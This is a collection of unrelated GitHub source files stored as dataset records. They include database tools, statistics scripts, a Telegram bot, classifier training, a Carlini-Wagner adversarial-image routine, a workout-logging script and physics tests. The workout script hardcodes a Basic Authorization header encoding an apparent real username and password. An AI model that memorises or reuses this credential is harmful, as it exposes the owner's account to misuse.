i=1\n number = raw_input(\"If you want delete a dependence enter the correct number else enter 0\")\n if number == \"0\":\n break\n else:\n for dep in depList:\n if str(i) == number:\n application.delete_dep(dep)\n print(\"Consequence delete\")\n i+=1\n\n elif 'findSuperKey' in command:\n if(len(command)) <= 1:\n print(\"Parameter is missing\")\n else :\n superKeyList = application.find_super_key(command[1])\n for superKey in superKeyList:\n for att in superKey:\n print(att),\n print(\"\\n\")\n elif 'findKey' in command:\n if(len(command)) <= 1:\n print(\"Parameter is missing\")\n else :\n keyList = application.find_key(command[1])\n for key in keyList:\n for att in key:\n print(att),\n print(\"\\n\")\n elif 'isBcnf' in command:\n if(len(command)) <= 1:\n print(\"Parameter is missing\")\n else :\n print(application.is_BCNF(command[1]))\n elif 'is3nf' in command:\n if(len(command)) <= 1:\n print(\"Parameter is missing\")\n else :\n if(not application.is_3NF(command[1])):\n respect = application.respect(command[1])\n if len(respect) == 0:\n print(application.is_3NF(command[1]))\n input = raw_input(\"Do you want to make decomposition in 3NF (y/n) \")\n if \"y\" in input or \"Y\" in input:\n application.decompose(command[1])\n print(\"Decomposition finished\")\n\n else:\n print(\"The functional dependencies are not respected\")\n else:\n print(application.is_3NF(command[1]))\n\n elif 'respect' in command:\n if(len(command)) <= 1:\n print(\"Parameter is missing\")\n else :\n respect = application.respect(command[1])\n if len(respect) == 0:\n print(\"All the dependencies are respected\")\n else:\n print(\"Som dependence are not respected\")\n i=1\n for triplet in respect:\n print (str(i)+\" : \"+triplet[0]+\" \"+triplet[1]+\" -> \"+triplet[2])\n i+=1\n number = raw_input(\"Do you want delete a functional dependence ? (Enter the a number or 0 to continue\")\n while int(number) != 0:\n application.delete_dep(respect[int(number)-1])\n if len(respect) - 1 <= 0:\n break\n\n else:\n print(\"Command not found\")\n print(\"Type \\'Help\\' to know how use SGBD\")\n\ninput = raw_input(\"Enter the name of the database that you want use : \")\napplication = Bdd(input)\nwhile run(application):\n continue\n\n\n","repo_name":"florentdelgrange/projetBdd1","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":6394,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"33666468264","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nfrom operator import indexOf\nimport numpy as np\nfrom scipy import stats \n\ndata_path = [\n '/Users/kyhi2018/Desktop/Individual Project/Pre-processed ML data/Term 1/Main Library Pre-processed.xlsx', # Main Library (Term 1)\n '/Users/kyhi2018/Desktop/Individual Project/Pre-processed ML data/Term 1/Student Centre Pre-processed.xlsx', # Student Centre (Term 1)\n '/Users/kyhi2018/Desktop/Individual Project/Pre-processed ML data/Term 1/Science Library Pre-processed.xlsx', # Science Library (Term 1)\n '/Users/kyhi2018/Desktop/Individual Project/Pre-processed ML data/Term 2/Main Library Pre-processed.xlsx', # Main Library (Term 2)\n '/Users/kyhi2018/Desktop/Individual Project/Pre-processed ML data/Term 2/Student Centre Pre-processed.xlsx', # Student Centre (Term 2)\n '/Users/kyhi2018/Desktop/Individual Project/Pre-processed ML data/Term 2/Science Library Pre-processed.xlsx', # Science Library (Term 2)\n ]\n\narea_names = [ # for naming plot figures\n 'Main Library',\n 'Student Centre',\n 'Science Library',\n 'Main Library',\n 'Student Centre',\n 'Science Library',\n]\n\nresults = {'Feature': [0,0,0,0,0,0,0],\n 'Correlation Coefficient': [0,0,0,0,0,0,0],\n 'P Value': [0,0,0,0,0,0,0]}\nresults = pd.DataFrame(results)\n\nfor area_select in [0,1,2,3,4,5]: # 0 = ML, 1 = SC, 2 = SL\n data = pd.read_excel(data_path[area_select])\n \n plt.plot(data['Counter'])\n plt.show()\n \n if area_select in [0,1,2]:\n ob = [0,1,2]\n elif area_select in [3,4,5]:\n ob = [3,4,5]\n ob.remove(area_select) # containing ID numbers of the other buildings (hence 'ob'), not building of interest\n \n feature_names = [\n 'TimeOfDay',\n 'DayOfWeek',\n 'WeekOfTerm',\n 'ReadingWeek',\n 'InductionWeek',\n f'{area_names[ob[0]]}',\n f'{area_names[ob[1]]}'\n ]\n \n results['Feature'] = feature_names\n \n for i in range(len(feature_names)):\n corr, p_val = stats.spearmanr(data[feature_names[i]], data['Counter'])\n results['Correlation Coefficient'][i] = corr\n results['P Value'][i] = p_val\n \n print(results)","repo_name":"khigashinosg/IndividualProject","sub_path":"GitHub Code/Machine Learning Code (Predictive)/Spearmans Rank.py","file_name":"Spearmans Rank.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"33356087909","text":"from loader import bot\nfrom states.user_info import MyStates\nfrom telebot.types import Message\n\n\n@bot.message_handler(commands=['hello_world'])\n@bot.message_handler(func=lambda message: message.text == \"Привет\")\ndef hello_world(message: Message) -> None:\n bot.set_state(message.from_user.id, MyStates.name, message.chat.id)\n bot.send_message(message.chat.id, 'Привет, {user}! Как я могу к вам обращаться?'.format(\n user=message.from_user.username))\n\n\n@bot.message_handler(state=MyStates.name)\ndef get_name(message: Message) -> None:\n if message.text.isalpha():\n bot.send_message(message.chat.id, 'Приятно познакомиться!')\n with bot.retrieve_data(message.from_user.id, message.chat.id) as data:\n data['name'] = message.text\n else:\n bot.send_message(message.chat.id, 'Имя может содержать только буквы')\n","repo_name":"pumN1/Hotels_tlg_bot","sub_path":"handlers/custom_heandlers/hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"41934933625","text":"import numpy as np\ndef training(feat,labelfile,cls):\n\t# feat=feat.reshape((-1,100))\n\t\n\t# feat.dump('featureVector.txt')\n\t\n\tf=open(labelfile,'r')\n\tlabels=list(f.read())\n\tf.close()\n\n\n\tfrom random import shuffle\n\n\tind_list = [i for i in range(len(labels))]\n\tshuffle(ind_list)\n\tf = feat[ind_list]\n\tl = [labels[i] for i in ind_list]\n\t\n\tfeat=f\n\tlabels=l\n\tprint(feat[1],labels[1])\n\t\n\tif cls=='KNN':\n\t\tfrom sklearn.neighbors import KNeighborsClassifier\n\t\tclf = KNeighborsClassifier(n_neighbors=11)\n\t\t# feats=feats.reshape(-1,40*40)\n\t\tclf.fit(feat, labels) \n\t\n\t\tfrom sklearn.externals import joblib\n\t\tjoblib.dump(clf, 'clsfKNN.pkl')\n\n\n\telif cls=='CNN':\n\t\tfrom sklearn.neural_network import MLPClassifier\n\t\tX = feat/255.0\n\t\tX = X.reshape(-1,40,40)\n\t\ty = np.array(labels)\n\t\ty = y.reshape(-1,1)\n\n\t\tfrom sknn.mlp import Classifier, Convolution, Layer\n\n\t\tclf = Classifier(\n\t\t layers=[\n\t\t Convolution(\"Rectifier\", channels=89, kernel_shape=(3,3)),\n\t\t Layer(\"Softmax\")],\n\t\t learning_rate=0.02,\n\t\t n_iter=25)\n\t\tclf.fit(X, y)\n\t\n\t\tfrom sklearn.externals import joblib\n\t\tjoblib.dump(clf, 'clsfCNN.pkl')\n\n\telif cls=='SVM':\n\n\t\tfrom sklearn import svm\n\t\tclf = svm.SVC()\n\t\tX, y = feat, labels\n\t\tclf.fit(X, y) \n\n\t\tfrom sklearn.externals import joblib\n\t\tjoblib.dump(clf, 'clsfSVM.pkl')\n\n\telif cls=='TREE' :\n\t\tfrom sklearn import tree\n\t\tclf = tree.DecisionTreeClassifier()\n\t\tclf = clf.fit(feat, labels)\n\n\t\tfrom sklearn.externals import joblib\n\t\tjoblib.dump(clf, 'clsfTREE.pkl')\n\n\telif cls=='NB' :\n\t\tfrom sklearn.naive_bayes import MultinomialNB\n\t\tclf = MultinomialNB()\n\t\tclf.fit(feat, labels)\n\n\t\tfrom sklearn.externals import joblib\n\t\tjoblib.dump(clf, 'clsfNB.pkl')\n\n\n","repo_name":"qaisqadri/OCR_Project","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"10796908630","text":"class Solution:\n def fourSum(self, nums, target):\n quadruplets = list()\n length = len(nums)#求nums的长度\n if not nums or length < 4:#如果列表nums长度小于4或者nums为空,直接返回空列表\n return quadruplets\n \n nums.sort()#给列表排序,为了双指针操作移动有依据\n \n for i in range(length - 3):#第一重循环\n if i > 0 and nums[i] == nums[i - 1]:\n continue\n if nums[i] + nums[i + 1] + nums[i + 2] + nums[i + 3] > target:\n break#这里判断前四个数字是否大于给的数字,因为已经排序,所以最小的四个数字大于target的话,说明没有数字可以满足,因此直接可以提前结束\n if nums[i] + nums[length - 3] + nums[length - 2] + nums[length - 1] < target:\n continue#这里判断最后的四个数字是否小于给的数字,因为已经排序,所以不符合的话说明最大的几个数字都无法达到target值,所以直接可以提前结束\n for j in range(i + 1, length - 2):#第二重循环,双指针操作\n if j > i + 1 and nums[j] == nums[j - 1]:\n continue\n if nums[i] + nums[j] + nums[j + 1] + nums[j + 2] > target:\n break\n if nums[i] + nums[j] + nums[length - 2] + nums[length - 1] < target:\n continue\n left, right = j + 1, length - 1\n while left < right:\n total = nums[i] + nums[j] + nums[left] + nums[right]\n if total == target:\n quadruplets.append([nums[i], nums[j], nums[left], nums[right]])\n while left < right and nums[left] == nums[left + 1]:\n left += 1\n left += 1\n while left < right and nums[right] == nums[right - 1]:\n right -= 1\n right -= 1\n elif total < target:\n left += 1\n else:\n right -= 1\n \n return quadruplets\n","repo_name":"Longxiaoze/leetcode","sub_path":"0018/18.四数之和.py","file_name":"18.四数之和.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"14998344246","text":"# This Is the Python BootCamp Lecture Homework of Udemy\n# I'm ykdman, Start!\n# First , You must get your own api key of nutritionix, sheety\n# So i'll Attach Link of API\n# Sheety : https://sheety.co/\n# Nutritionix : https://www.nutritionix.com/business/api\n\n# In Sheety, If You got your api key, Make New Project -> New Template ( Paste Google Sheet URL) And\n# Check the 'GET', 'POST' Toggle Button\n\n\nfrom datetime import datetime\nimport requests\n\nTODAY = datetime.now().strftime(\"%Y%m%d\")\nnow_time = datetime.now().strftime(\"%X\")\n\n\n# Endpoint Of Exercise API\nNutritionix_ENDPOINT = \"https://trackapi.nutritionix.com/v2/natural/exercise\"\nSheety_ENDPOINT = \"https://api.sheety.co/bc776dbd5c90eb75928c96b5970ad75e/workoutTracking/workouts\"\n\n# Header\nAPP_ID = \"Your Nutritionix APP ID\"\nAPI_KEY = \"Yout Nutritionix Api Key = Application key\"\n\n# Json Parameter\nGENDER = \"Your Gender\"\nWEIGHT_KG = 85 # Your Weight About Kg\nHEIGHT_CM = 178 # Your Height About cm\nAGE = 25\n\n# exercise_text = input(\"Your Workout of Today :\")\ntest_exercise_text = \"squat 20minutes\"\n\n\nworkout_header = {\n \"x-app-id\": APP_ID,\n \"x-app-key\": API_KEY,\n}\n\nworkout_post_json = {\n \"query\": test_exercise_text,\n \"gender\": \"male\",\n \"weight_kg\": 100,\n \"height_cm\": 178,\n \"age\": 1999\n}\n\nresponse = requests.post(url=Nutritionix_ENDPOINT, json=workout_post_json, headers=workout_header)\nresponse.raise_for_status()\nresult = response.json()\nprint(result)\nprint(\"------------------------------------------\")\n\n\n# TODAY, Time, Exercise, Duration, Calories\n\nsheety_headers = {\n \"Authorization\": \"Basic eWtkbWFuOkBydWRlanIzMDA=\"\n}\n\nfor exercise in result[\"exercises\"]:\n sheet_inputs = {\n \"workout\": {\n \"date\": TODAY,\n \"time\": now_time,\n \"duration\": exercise[\"duration_min\"],\n \"exercise\": exercise[\"name\"].title(),\n \"calories\": exercise[\"nf_calories\"]\n }\n }\n print(sheet_inputs)\n sheety_response = requests.post(Sheety_ENDPOINT, json=sheet_inputs, headers=sheety_headers)\n\n print(sheety_response.text)\n\n","repo_name":"ykdman/Google_Workout_Recoder","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"25375777975","text":"import tkinter\n\nfrom tkinter import Tk\nfrom tkinter import ttk\nfrom tkinter import *\n\nroot=Tk()\n''' \nroot.title(\"First GUI using python\")\nttk.Button(root, text = \"Hello world!\").grid()\nroot.mainloop() \n'''\n\nframe = Frame(root)\nlabelText = StringVar(\n)\nlabel = Label(frame, textvariable = labelText)\nbutton = Button(frame, text=\"I am a button\")\n\nlabelText.set(\"Hey! what's app\")\n\nlabel.pack()\nbutton.pack()\nframe.pack()\n\nroot.mainloop()\n\nframe = Frame(root)\nlabel(frame, text = \"Hey!\").pack()\n","repo_name":"peterchowacademy/Python_Simple_Project","sub_path":"GUI programming.py","file_name":"GUI programming.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"35676723944","text":"\"\"\"\nTest the HeterodynedCWSimulator in the signal module.\n\n\nFor comparison quasi-independent model heterodyned signals have been produced\nusing the heterodyned_pulsar_signal function in lalpulsar:\n\nfrom lalpulsar.pulsarpputils import heterodyned_pulsar_signal\nfrom astropy.coordinates import SkyCoord\nimport numpy as np\n\npos = SkyCoord(\"01:23:34.5 -45:01:23.4\", unit=(\"hourangle\", \"deg\"))\npardict = {\n \"C22\": 5.6e-26,\n \"C21\": 3.4e-26,\n \"cosiota\": -0.9,\n \"psi\": 0.4,\n \"phi21\": 2.3,\n \"phi22\": 0.3,\n \"ra\": pos.ra.rad,\n \"dec\": pos.dec.rad,\n}\n\ntimes = np.arange(1000000000.0, 1000086400.0, 3600)\n\nfor det in [\"H1\", \"L1\", \"V1\", \"G1\"]:\n signal = heterodyned_pulsar_signal(\n pardict,\n det,\n datatimes=times,\n )\n\n for i in range(2):\n np.savetxt(f\"test_signal_model_{det}_{i+1}.txt.gz\", signal[1][i].view(np.float32).reshape(-1, 2))\n\"\"\"\n\nimport os\nfrom copy import deepcopy\n\nimport numpy as np\nimport pytest\nfrom astropy.coordinates import SkyCoord\nfrom astropy.time import Time\n\nfrom cwinpy import PulsarParameters\nfrom cwinpy.signal import HeterodynedCWSimulator\n\n\ndef mismatch(model1, model2):\n \"\"\"\n Compute the mismatch between two models.\n \"\"\"\n\n return 1.0 - np.abs(np.vdot(model1, model2) / np.vdot(model1, model1))\n\n\nclass TestSignal(object):\n \"\"\"\n Test the HeterodynedCWSimulator class.\n \"\"\"\n\n @classmethod\n def setup_class(cls):\n # set observation times\n cls.timesfixed = np.arange(1000000000.0, 1000086400.0, 3600, dtype=np.float128)\n cls.timesvary = cls.timesfixed + 87789.0\n\n # set detectors\n cls.detectors = [\"H1\", \"L1\", \"V1\", \"G1\"]\n\n # set comparison signal parameters\n cls.comparison = PulsarParameters()\n pos = SkyCoord(\"01:23:34.5 -45:01:23.4\", unit=(\"hourangle\", \"deg\"))\n cls.comparison[\"PSRJ\"] = \"J0123-4501\"\n cls.comparison[\"RAJ\"] = pos.ra.rad\n cls.comparison[\"DECJ\"] = pos.dec.rad\n cls.comparison[\"F\"] = [\n 123.456789,\n -9.87654321e-12,\n ] # frequency and first derivative\n cls.comparison[\"PEPOCH\"] = Time(\n 58000, format=\"mjd\", scale=\"tt\"\n ).gps # frequency epoch\n cls.comparison[\"C22\"] = 5.6e-26 # GW amplitude\n cls.comparison[\"COSIOTA\"] = -0.9 # cosine of inclination angle\n cls.comparison[\"PSI\"] = 0.4 # polarization angle (rads)\n cls.comparison[\"PHI21\"] = 2.3 # initial phase (rads)\n cls.comparison[\"PHI22\"] = 0.3\n cls.comparison[\"C21\"] = 5.6e-26\n\n cls.comparison[\"EPHEM\"] = \"DE421\"\n cls.comparison[\"UNITS\"] = \"TCB\"\n\n # binary parameters\n cls.comparison[\"BINARY\"] = \"BT\"\n cls.comparison[\"ECC\"] = 0.1\n cls.comparison[\"A1\"] = 1.5\n cls.comparison[\"T0\"] = 1000000000.0 + 86400 / 2\n cls.comparison[\"OM\"] = 0.4\n cls.comparison[\"PB\"] = 0.1 * 86400\n\n # FITWAVES parameters\n cls.comparison[\"WAVEEPOCH\"] = 999998009.0\n cls.comparison[\"WAVE_OM\"] = 0.00279\n cls.comparison[\"WAVESIN\"] = [-6.49330613e02, 7.78086689e01]\n cls.comparison[\"WAVECOS\"] = [-9.42072776e02, -1.40573292e02]\n\n # glitch parameters\n cls.comparison[\"GLEP\"] = [1000086400.0 + 10785.0]\n cls.comparison[\"GLPH\"] = [0.4]\n cls.comparison[\"GLF0\"] = [3.6e-6]\n cls.comparison[\"GLF1\"] = [-5.3e-14]\n cls.comparison[\"GLF0D\"] = [7.9e-7]\n cls.comparison[\"GLTD\"] = [86400 / 2]\n\n # read in comparitor files\n cls.compare2f = {}\n cls.compare1f = {}\n for det in cls.detectors:\n cls.compare1f[det] = (\n np.loadtxt(\n os.path.join(\n os.path.dirname(os.path.realpath(__file__)),\n \"data\",\n f\"test_signal_model_{det}_1.txt.gz\",\n )\n )\n .view(complex)\n .reshape(-1)\n )\n\n cls.compare2f[det] = (\n np.loadtxt(\n os.path.join(\n os.path.dirname(os.path.realpath(__file__)),\n \"data\",\n f\"test_signal_model_{det}_2.txt.gz\",\n )\n )\n .view(complex)\n .reshape(-1)\n )\n\n # set offset parameters\n cls.offset = deepcopy(cls.comparison)\n\n # offset frequency\n cls.offset[\"F\"] = [\n cls.comparison[\"F0\"] + 2e-4,\n cls.comparison[\"F1\"] - 1e-13,\n ]\n\n # offset the sky positions\n cls.offset[\"RAJ\"] = pos.ra.rad + 0.0005\n cls.offset[\"DECJ\"] = pos.dec.rad - 0.0005\n\n # offset the binary parameters\n cls.offset[\"OM\"] = cls.comparison[\"OM\"] + 0.003\n cls.offset[\"ECC\"] = cls.comparison[\"ECC\"] + 0.00001\n cls.offset[\"PB\"] = cls.comparison[\"PB\"] + 0.0001 * 86400\n cls.offset[\"A1\"] = cls.comparison[\"A1\"] + 0.003\n\n # offset FITWAVES parameters\n cls.offset[\"WAVE_OM\"] = cls.comparison[\"WAVE_OM\"] + 0.0001\n cls.offset[\"WAVESIN\"] = [\n cls.comparison[\"WAVESIN\"][0] + 2,\n cls.comparison[\"WAVESIN\"][1] + 3,\n ]\n cls.offset[\"WAVECOS\"] = [\n cls.comparison[\"WAVECOS\"][0] + 2,\n cls.comparison[\"WAVECOS\"][1] + 3,\n ]\n\n # offset glitch parameters\n cls.offset[\"GLPH\"] = [cls.comparison[\"GLPH\"][0] + 0.1]\n cls.offset[\"GLF0\"] = [cls.comparison[\"GLF0\"][0] + 2e-7]\n\n def test_bad_par_file(self):\n \"\"\"\n Test correct exceptions raised for invalid parameter files.\n \"\"\"\n\n with pytest.raises(TypeError):\n # pass a float rather than a string\n _ = HeterodynedCWSimulator(par=4.5, det=\"H1\")\n\n with pytest.raises(IOError):\n # pass non-existant file string\n _ = HeterodynedCWSimulator(par=\"blah.par\", det=\"H1\")\n\n def test_dc_signal(self):\n \"\"\"\n Test creating signals from a triaxial source heterodyned so that the\n signal only varies due to the antenna response of the detector.\n \"\"\"\n\n for det in self.detectors:\n het = HeterodynedCWSimulator(\n par=self.comparison, det=det, times=self.timesfixed\n )\n model = het.model(freqfactor=2)\n\n assert len(model) == len(self.timesfixed)\n assert model.dtype == complex\n assert np.allclose(model, self.compare2f[det])\n\n def test_dc_signal_1f(self):\n \"\"\"\n Test creating signals from a source emitting l=2, m=1 modes heterodyned\n so that the signal only varies due to the antenna response of the\n detector.\n \"\"\"\n\n for det in self.detectors:\n het = HeterodynedCWSimulator(\n par=self.comparison, det=det, times=self.timesfixed\n )\n model = het.model(freqfactor=1)\n\n assert len(model) == len(self.timesfixed)\n assert model.dtype == complex\n assert np.allclose(model, self.compare1f[det])\n\n def test_offset_signal(self):\n \"\"\"\n Test signals generated with an offset of parameters using the LAL and\n TEMPO2 options.\n \"\"\"\n\n for det in self.detectors:\n # using LAL routines\n het = HeterodynedCWSimulator(\n par=self.comparison, det=det, times=self.timesvary\n )\n modellal = het.model(newpar=self.offset, freqfactor=2, updateSSB=True)\n\n # using TEMPO2 routines\n hettempo = HeterodynedCWSimulator(\n par=self.comparison, det=det, times=self.timesvary, usetempo2=True\n )\n modeltempo = hettempo.model(newpar=self.offset, freqfactor=2)\n\n assert len(modellal) == len(self.timesvary)\n assert len(modeltempo) == len(self.timesvary)\n\n # test mismatch between using LAL and TEMPO\n assert mismatch(modellal, modeltempo) < 5e-5\n\n # test angle between models (we expected there to be a constant phase shift\n # between the TEMPO2 and LAL calculations due to binary system signals not\n # being referenced as expected)\n # NOTE: the test tolerances are higher that generally needed due to one\n # time stamp for H1 that is more significantly different than for the\n # other detectors - this is probably a Shapiro delay difference that has\n # particular effect on the line of site for this source and that detector\n phasediff = np.mod(\n np.angle(modellal, deg=True) - np.angle(modeltempo, deg=True), 360\n )\n assert np.std(phasediff) < 0.01\n assert np.max(phasediff) - np.min(phasediff) < 0.1\n","repo_name":"cwinpy/cwinpy","sub_path":"cwinpy/test/test_signal.py","file_name":"test_signal.py","file_ext":"py","file_size_in_byte":8792,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"7"} +{"seq_id":"5644447652","text":"import torch\nfrom torch import nn,optim\nimport torchvision\nfrom torchvision import transforms\nfrom models import *\nfrom tqdm import tqdm\nfrom matplotlib import pyplot as plt\nfrom torch.autograd import Variable\nfrom torch.autograd.gradcheck import zero_gradients\nfrom PIL import Image\nimport os\nimport shutil\nimport numpy as np\nimport pickle\nimport math\nimport random\nfrom utils.data import save_attack_img\nfrom utils import models\n\nclass CW:\n def __init__(self,model_name,output_dir='test_out',device='cuda',max_iters=10,targeted=False,lr=5e-3,\n abort_early=True,initial_const=0.5,largest_const=32,reduce_const=False,decrease_factor=0.9,\n const_factor=2.0,num_classes=10):\n self.output_dir=output_dir\n self.model_name=model_name\n self.net = models.get_model(model_name, is_pretrained=True, device=device)\n self.device=device\n self.max_iter=max_iters\n self.targeted=targeted\n self.lr=lr\n self.abort_early=abort_early\n self.initial_const=initial_const\n self.largest_const=largest_const\n self.reduce_const=reduce_const\n self.decrease_factor=decrease_factor\n self.const_factor=const_factor\n self.num_classes=num_classes\n self.shape=(1,3,32,32)\n\n def compare(self,x,y):\n return x == y if self.targeted else x != y\n\n def tanh(self,x):\n return torch.nn.Tanh()(x)\n\n def get_max(self,x,y):\n return x.data if x.data>y else y\n\n def torch_arctanh(self,x,ep=1e-6):\n x*=(1-ep)\n return 0.5*torch.log((1+x)/(1-x))\n\n def grad_descent(self,ori_img,label,st_tmp,tt,const):\n con=const\n img=self.torch_arctanh(ori_img*1.999999)\n st=self.torch_arctanh(st_tmp*1.999999)\n img=img.unsqueeze(0)\n tau=tt\n timg,tlabel=img,label\n #tlabel=torch.zeros(1,self.num_classes).scatter_(1,tlabel,1)\n tlabel=torch.sparse.torch.eye(self.num_classes,device=self.device).index_select(0,label)\n #torch.unsqueeze(tlabel,1)\n #print(label_onehot)\n #tlabel=label_onehot.scatter(1,tlabel.unsqueeze(1),1.0)\n while con1/256:\n res=self.grad_descent(img.clone(),label,st_img.clone(),tau,con)\n if not res:\n return st_img\n scores,origin_scores,nimg,con=res\n if self.reduce_const:\n con=torch.div(con,2)\n actualtau=torch.max(torch.abs(nimg-img))\n if actualtau 20:\r\n if num < 0 or num > 20:\r\n num = int(input('Digite um número entre 0 e 20: '))\r\n print(f'Você digitou o número {tupla[num]}')\r\n resp = str(input('Gostaria de continuar? [S/N] ')).strip().upper()[0]\r\n while resp not in 'SN':\r\n resp = str(input('Gostaria de continuar? [S/N] ')).strip().upper()[0]\r\n if resp == 'N':\r\n break\r\n\r\n\r\n","repo_name":"iRnx/Programas-em-Python-part-1","sub_path":"Ex072.py","file_name":"Ex072.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"4075852107","text":"import pandas as pd\nimport plotly.graph_objects as go\nimport os\nfrom colour_science_2023 import (\n SCILIFE_COLOURS,\n)\n\ndf = pd.read_excel(\n \"Data/Distribution of Funding to Universities 2023.xlsx\",\n sheet_name=\"Funding Univ. 2023 mod\",\n header=0,\n engine=\"openpyxl\",\n keep_default_na=False,\n)\n\ndf.rename(\n columns={\n \"Funding 2023 (MSEK)\": \"Funding (MSEK)\",\n },\n inplace=True,\n)\n\nuni_map = {\n \"Uppsala University\": \"UU\",\n \"Karolinska Institutet\": \"KI\",\n \"Royal Institute of Technology\": \"KTH\",\n \"Stockholm University\": \"SU\",\n \"Umeå University\": \"UmU\",\n \"University of Gothenburg\": \"GU\",\n \"Lund University\": \"LU\",\n \"Chalmers University of Technology\": \"Chalmers\",\n \"Linköping University\": \"LiU\",\n \"Swedish University of Agricultural Sciences\": \"SLU\",\n \"Örebro University\": \"ÖRU\",\n}\n\ndf_basic = df.replace(uni_map, regex=True)\n\n\ncolours = [\n SCILIFE_COLOURS[0],\n SCILIFE_COLOURS[14],\n SCILIFE_COLOURS[17],\n SCILIFE_COLOURS[13],\n SCILIFE_COLOURS[4],\n SCILIFE_COLOURS[2],\n SCILIFE_COLOURS[5],\n SCILIFE_COLOURS[12],\n SCILIFE_COLOURS[8],\n SCILIFE_COLOURS[16],\n SCILIFE_COLOURS[18],\n SCILIFE_COLOURS[7],\n]\n\ndf_basic[\"Funding (MSEK)\"] = df_basic[\"Funding (MSEK)\"].round().astype(int)\n# print(df_basic)\n\nfig = go.Figure(\n go.Pie(\n values=df_basic[\"Funding (MSEK)\"],\n labels=df_basic[\"University\"],\n hole=0.6,\n marker=dict(colors=colours, line=dict(color=\"#000000\", width=1)),\n direction=\"clockwise\",\n sort=True,\n )\n)\n\nfig.update_traces(\n textposition=\"outside\",\n texttemplate=\"%{label} (%{value})\",\n)\nfig.update_layout(\n margin=dict(l=100, r=100, b=100, t=100),\n font=dict(size=42),\n showlegend=False,\n width=1500,\n height=1500,\n autosize=False,\n)\nif not os.path.isdir(\"Plots\"):\n os.mkdir(\"Plots\")\n# fig.show()\n\nfig.write_image(\"Plots/dist_university_fund_23.png\", scale=3)\nfig.write_image(\"Plots/dist_university_fund_23.svg\", scale=3)\n","repo_name":"ScilifelabDataCentre/IAB_reports","sub_path":"2023/Funding_university_dist.py","file_name":"Funding_university_dist.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32021778059","text":"import os\nimport sys\nfrom os.path import basename\nimport pdb\nimport copy\n\nfrom ..core.Camps_data import Camps_data as Camps_data\nfrom . import computations\nfrom ..libraries.mathlib import mass\nfrom ..libraries.mathlib import momentum\nfrom ..libraries.mathlib import stability\nfrom ..libraries.mathlib import temperature\nfrom ..libraries.mathlib import moisture\nfrom . import read_pred\n\n\n\"\"\"Module: create.py\nCreates a predictor object, which essentially contains\ninformation necessary for finding or creating its data.\n\nMethods:\n is_valid_property\n get_met_function\n get_common_function\n calculate\n has_multiple_vertical_layers\n preprocess_entries\n\nClasses:\n Predictor\n\"\"\"\n\n\n#Dictionary of functions that create predictors whose names\n#are encoded in the keys and the corresponding function in\n#the value.\ncreation_functions = {\n 'Ozone' : None,\n #'DOY' : miscellaneous.DOY,\n 'CilgHght' : None,\n 'CilgHghtProb' : None,\n 'CldAmt' : None,\n 'CldHght' : None,\n 'SkyCover' : None,\n 'SunDuratn' : None,\n 'GeoHght' : None,\n 'Pres' : None,\n 'PLThick' : mass.thickness,\n 'TLapse' : temperature.temp_lapse_setup,\n 'Albedo' : None,\n 'LandSea' : None,\n 'Terrain' : None,\n 'Veg' : None,\n 'MixR' : moisture.mixing_ratio_setup,\n 'MoistDiv' : None,\n 'PWat' : None,\n 'RelHum' : None,\n 'SpecHum' : None,\n 'WatEquAccSN' : None,\n 'TotSNRate' : None,\n 'ThetaEAdv' : None,\n 'ThetaEDiff' : None,\n 'VolSoilMoist' : None,\n# 'AbsVort' : momentum.vorticity_setup,\n 'BlkShear' : None,\n 'CondGust' : None,\n 'GeoRelVort' : None,\n 'GeoWsp' : None,\n 'Gust' : None,\n 'InflWind' : None,\n 'WChill' : momentum.WindChill_setup,\n 'PBLMixHi' : None,\n# 'RelVort' : momentum.RelativeVorticity_setup,\n 'ThetaEUwindProd' : None,\n 'ThetaEVwindProd' : None,\n 'Upslope' : None,\n 'Uwind' : None,\n 'Vwind' : None,\n 'WindDir' : None,\n 'WindSpd' : momentum.wind_speed_setup,\n 'WSpdRatio' : None,\n 'Wwind' : None,\n 'CAPE' : None,\n 'CIN' : None,\n 'ConvProb' : None,\n 'HtIndex' : moisture.heat_index_setup,\n 'KIdxCnvRFProd' : None,\n 'KIdxTstmRFProd' : None,\n 'KIndex' : stability.KIndex_setup,\n 'LtngFlsh' : None,\n 'LI' : None,\n 'LIBest4Lyr' : None,\n 'LtngMRFKIProd' : None,\n 'MoistDivVVProd' : None,\n 'RHVVProd' : None,\n 'Sweat' : None,\n 'SweatCondSvrWxRFProd' : None,\n 'SweatSvrRFProd' : None,\n 'Threat' : None,\n 'TstormProb' : None,\n 'TotTots' : None,\n 'VVKIProd' : None,\n 'VVPWatProd' : None,\n 'DewPt' : moisture.dewpoint_temperature_setup,\n 'EquPotTemp' : moisture.equivalent_potential_temperature_setup,\n 'LapRate' : None,\n 'PotTemp' : temperature.potential_temperature_setup,\n 'SoilTemp' : None,\n 'Temp' : None,\n 'DayMaxT' : temperature.extreme_temperature_setup,\n 'NightMinT' : temperature.extreme_temperature_setup,\n 'TempAdv' : None,\n 'VirPotTemp' : None,\n 'WbPotTemp' : None,\n 'WbTemp' : None,\n '2-hCnvPrbCnvRFProd' : None,\n 